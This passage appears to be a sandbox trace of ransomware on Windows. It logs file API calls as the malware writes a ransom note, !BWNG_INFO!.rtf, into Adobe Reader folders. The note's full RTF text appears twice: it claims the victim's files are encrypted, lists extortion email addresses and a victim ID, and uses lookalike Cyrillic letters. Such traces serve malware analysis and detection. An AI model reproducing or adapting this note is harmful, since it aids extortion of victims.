\\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n«\x0e=£\x13\x0f»ò\x8eZ_\x90$u%\x12\\ÇÙ \x97¾I\x88TÑðé¯R\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0040.546] WriteFile (in: hFile=0x1cc, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.547] CloseHandle (hObject=0x1cc) returned 1 [0040.547] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\!bwng_info!.rtf")) returned 0xffffffff [0040.547] GetLastError () returned 0x2 [0040.547] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", 